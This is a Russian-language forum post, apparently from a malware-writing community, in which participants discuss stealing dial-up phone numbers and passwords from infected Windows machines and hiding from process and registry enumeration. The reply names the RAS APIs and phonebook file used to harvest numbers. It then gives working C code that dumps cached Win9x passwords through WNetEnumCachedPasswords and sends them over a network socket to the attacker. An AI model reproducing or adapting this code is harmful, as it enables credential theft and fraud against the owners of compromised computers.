Легенда:
новое сообщение
закрытая нитка
новое сообщение
в закрытой нитке
старое сообщение
|
- Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
- Новичкам также крайне полезно ознакомиться с данным документом.
нащёт телефонов начиная с NT 4 получить можно от суда... 29.09.04 18:34 Число просмотров: 1222
Автор: Tamas Статус: Member
|
> > да заработало, хотя надо ещё покавырятся > > когда полнастю разберусь скину код > > Ну раз уж ты взялся за это дело, то найди где еще в виндах > (кроме RASENTRY) можно прописать телефон, а то у меня с > половины зараженных компов телефоны не приходят. > Еще неплохо бы предусмотреть кражу паролей в Win9x и > невидимость в Process32Next/FindNextFile/RegEnumValues > (если надо, могу дать тебе свой стелс-движок). > > Я бы сам взялся, но сейчас я пишу свою вещь, да еще эта > @$#ная работа... > Вобщем если ты это сделаешь, многие будут благодарны :)
нащёт телефонов начиная с NT 4 получить можно от суда RasGetEntryProperties
win9x от суда RasGetEntryDialParams
а вобше win 5.x С:\Documents and Settings\All Users\Application Data\Microsoft\Network\Connections\Pbk\rasphone.pbk
Process32Next это конечьно хорошо но не каких реальных идей уменя пока нет
нащёт win9x тут всё старо как мир вот кусок кода из моеё софтины
bool GetPwl(SOCKET Socket)
{
int index;
unsigned char buf[4096];
if(OsVerInfo.dwPlatformId==1)
{
if(GetCachePasswords())
{
strcpy(buf,"\r\nThe system passwords\r\n\r\n");
send(Socket,buf,strlen(buf),0);
for(index=0;index<cacheindex;++index)
{
wsprintf(buf,"Resource %s\r\nPassword \"%s\"\r\n",cacheres[index],cachepass[index]);
send(Socket,buf,strlen(buf),0);
}
}
else
{
return false;
}
}
else
{
wsprintf(buf,"\r\nSorry function is not support in system");
send(Socket,buf,strlen(buf),0);
}
return true;
}
bool CALLBACK PassEntry(LPPASSWORD_CACHE_ENTRY p,unsigned long temp)
{
memcpy(cacheres[cacheindex],p->abResource,p->cbResource);
memcpy(cachepass[cacheindex],p->abResource+p->cbResource,p->cbPassword);
cacheres[cacheindex][p->cbResource]=0;
cachepass[cacheindex][p->cbPassword]=0;
++cacheindex;
return true;
}
bool GetCachePasswords()
{
typedef unsigned long(WINAPI RegisterServiceProcess)(unsigned long,unsigned long);
typedef unsigned short(WINAPI WNetEnumCachedPasswords)(char *,unsigned short,unsigned char,void*,unsigned long);
typedef WNetEnumCachedPasswords *LPWNETENUMCACHEDPASSWORDS;
int index;
HINSTANCE hmpr;
LPWNETENUMCACHEDPASSWORDS lpecp;
if(hmpr=LoadLibrary("MPR.DLL"))
{
lpecp=(LPWNETENUMCACHEDPASSWORDS)GetProcAddress(hmpr,"WNetEnumCachedPasswords");
if(lpecp)
{
cacheindex=0;
lpecp(0,0,0xFF,PassEntry, 0);
}
else
{
return false;
}
FreeLibrary(hmpr);
return true;
}
return false;
}
|
|
|